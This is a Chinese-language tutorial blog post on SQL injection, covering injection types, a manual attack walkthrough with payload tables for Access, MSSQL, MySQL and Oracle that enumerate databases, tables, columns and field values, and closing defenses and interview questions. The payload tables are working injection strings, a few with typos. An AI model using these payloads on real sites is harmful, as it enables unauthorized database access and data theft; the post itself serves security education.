SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

总结一句话:SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。


目录

sql注入分类

手工注入的攻击步骤

防御


sql注入分类

按数据类型分类

数字型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id=$id

字符型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id='$id'

区别和联系

数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。

字符型注入需要考虑语句的闭合问题,而数字类型则不存在

按注入位置分

GET方式注入

注入参数以GET方式进行提交

POST方式注入


注入参数以POST方式进行提交

基于cookie的注入


后台接收cookie内的参数,在http的cookie字段中存在注入漏洞

基于http头部的注入


后台会接收referer或user-agent字段中的参数,http头部中的referer、user-agent字段中存在注入漏洞

盲注

基于UNION的注入

首先通过order by 进行判断查询参数的数目,然后构造union查询,查看回显。有时需要将前面参数名修改为假的参数。如id=-1’ union select 1,2,3 查找页面中1,2,3的位置,在页面中显示的数字的地方构造查询的内容。若页面无回显但报错可以尝试报错注入

基于布尔的盲注

特点:网站页面在输入条件为true和false的情况下会显示不同,但页面中没有输出。此时需要在SQL语句之后添加条件判断。

猜解思路:

猜解数据库:先构造条件判断当前数据库的名字长度,然后逐字猜解数据库名。

猜解数据表:先构造条件判断数据表的数量,然后逐个进行猜解,先猜解表名长度然后逐字猜解表名。

猜解数据列:指定数据库中的指定表进行猜解字段,首先猜解字段的数目,然后逐个猜解字段

猜解内容:指定数据列,先查询数据的条数,然后逐条猜解其中的内容

基于报错的注入

常用函数:

updatexml(1,concat('~',SQL语句,'~'),1)

extractvalue(1,concat('~',(SQL语句)))

基于时间的盲注

特点:网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入

猜解思路:

类似基于布尔的盲注,只是将条件为真转换为延时响应

常用函数

if(condition,A,B):若condition返回真则执行A,假则执行B

substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符

left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符

count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数

len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度

ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过

宽字节注入

宽字节注入的原理即为数据库的编码与后台程序的编码不一致,数据库中一个字符占两个字节,而后台程序为一个字符占一个字节,当后台程序对输入的单引号的字符进行转义时,通过在这些转义的字符前输入%bf然后将%bf’带入后台程序时会转义为%bf’,此时带入数据库中,数据库将%bf\看作是一个中文字符从而使用单引号将SQL语句进行闭合。

还有一些少见的注入,比如二次注入,base64加密注入等,以后再整理进去

手工注入的攻击步骤

(这里语句太多了,我还是去复制黏贴一下别人的博客吧)

1、确认目标参数

我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。

但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。

2、确认动态参数

动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。

没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。

3、爆出数据库类型

因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。

和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。

数据库

注入语句

原理                                               用处                                
access and user>0 user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 msqql和access报错不一样可区分数据库是mssql还是access
mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错

access不存在sysobjects存在msysobjects,上句会报错下句不会报错

可用于确认数据库是mssql还是access
mysql

select @@version

select database()

@@version是mysql的内置变量

database()是mysql的内置函数

如果返回正常则说明是oracle
oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系统表 如果返回正常则说明是oracle
multl

/*

--

;

mysql支持的注释

mssql和oracle支持的注释

oracle不支持多行

报错说明不是mysql

不报错可能是mssql或oracle

报错极有可能是oracle

4、爆出数据库名
数据库 注入语句                                                                说明                                                            
access   access一个数据库对应一个文件,获取文件名没有很大意义
mssql

and db_name() = 0

and db_name(n) > 0

从返回的报错信息中可获取当前数据库名

返回的报错信息中有第n个数据库的库名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出当前数据库名

n为几就返回第几个数据库的库名返回空就表示没有更多数据库了

返回所有数据库名

oracle

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual

返回第一个库名

返回当前用户所拥有的下一库名

5、猜解数据库表名
数据库 注入语句                                                                           说明                                               
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

不断测试table_name

如果返回正常那说明该表存在

mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

可爆出当前数据库表的数量

n为几就输出第几张表的表名

n为几就输出db_name库第几张表的表名

mysql

and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

n为几就返回当前第几张表的表名

返回当前库的所有表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一个表名

返回下一个表名

返回包含pass的表名

6、猜解字段名

数据库 注入语句                                                                             说明                                             
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

table_name使用上一步得到的表名,不断试column_name

如果返回正常则说明该字段存在

mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可获取表名和第一个字段名

可以得到第二个字段名

可以得到第三个字段名

mysql

and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名

返回指定表名的所有字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一个字段名

返回下一个字段名

7、猜解字段值

获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了

方法一:逐字节猜解法

首先猜解出字段长度,然后再逐字节猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

当n-1正常n错误时说明字段长度为n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可

方法二:union select法

上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。

由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n报错时说明原先select字段数为n

然后使用union select查出表中内容

and 1=2 union select 1,2...,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容

and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容

防御

代码层面

1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。

2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。

3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。

4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

5、数据长度应该严格规定。

6、网站每个数据层的编码统一。

网络层面

1、部署防火墙

2、升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

面试题:

如何进行SQL注入的防御

  1. 关闭应用的错误提示

  2. 加waf

  3. 对输入进行过滤

  4. 限制输入长度

  5. 限制好数据库权限,drop/create/truncate等权限谨慎grant

  6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。

  7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

  8. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。

  9. 具体的语言如何进行防注入,采用什么安全框架

参考:

https://www.cnblogs.com/lsdb/p/9612424.html

https://blog.csdn.net/BeatRex/article/details/91901196

sql注入-原理&防御的更多相关文章

  1. Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...

  2. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  3. SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  4. SQL注入原理及代码分析(二)

    前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ...

  5. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  6. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

  7. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

  8. sql注入原理详解(一)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  9. 1.sql注入原理

    一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...

随机推荐

  1. 个人总结的一些C++基础理论

    我自己整理的一些C++基础理论知识,面试的同学可以用到: 主要是针对那些基础理论知识比较薄弱的同学吧,希望会对大家面试有些帮助,排版什么的有点乱,大家多多包涵: 往期经典: 北漂95后的2020 给北 ...

  2. JavaDailyReports10_19

    今日学习超链接 1.文本链接 使用一对<a>标签 格式:< href ="目标URL" target="目标窗口"> 指针文本    & ...

  3. 【Redis3.0.x】实战案例

    Redis3.0.x 实战案例 简介 <Redis实战>的学习笔记和总结. 书籍链接 初识 Redis Redis 简介 Redis 是一个速度非常快的键值对存储数据库,它可以存储键和五种 ...

  4. Python实验6--网络编程

    题目1 1.编写程序实现基于多线程的TCP客户机/服务器程序. (1)创建服务器端套接字Socket,监听客户端的连接请求: (2)创建客户端套接字Socket,向服务器端发起连接: 服务器端套接字 ...

  5. Hash Tables and Hash Functions

    Reference: Compuer science Introduction: This computer science video describes the fundamental princ ...

  6. BAPI创建PO,禁止净价信息更新

    大家都知道创建PO时,我们如果勾选了"信息更新",则该PO保存后相应的信息记录会把这个PO更新为其最后的凭证,那么这张PO的净价会作为下次创建新PO时净价的默认值. 这样我们设置的 ...

  7. kafka(二)基本使用

    一.Kafka线上集群部署方案 既然是集群,那必然就要有多个Kafka节点机器,因为只有单台机器构成的kafka伪集群只能用于日常测试之用,根本无法满足实际的线上生产需求. 操作系统: kafka由S ...

  8. POJ1629:picnic planning

    题目描述 矮人虽小却喜欢乘坐巨大的轿车,轿车大到可以装下无论多少矮人.某天,N(N≤20)个矮人打算到野外聚餐.为了 集中到聚餐地点,矮人A 有以下两种选择 1)开车到矮人B家中,留下自己的轿车在矮人 ...

  9. 2.4V升3.3V,2.4V升3V,1A大电流升压芯片

    两节镍氢电池串联就是1.2V+1.2V=2.4V的供电电压了,2.4V升3V, 2.4V升3.3V的话,就能稳压稳定给模块供电了,镍氢电池是会随着使用的电池电量减少的话,电池的电压也是跟着变化的,导致 ...

  10. 浅谈JavaScript代码性能优化2

    一.减少判断层级 从下图代码中可以明显看出,同样的效果判断层级的减少可以优化性能 二.减少作用域链查找层级 简单解释下,下图中第一个运行foo函数,bar函数内打印name,bar作用域内没有name ...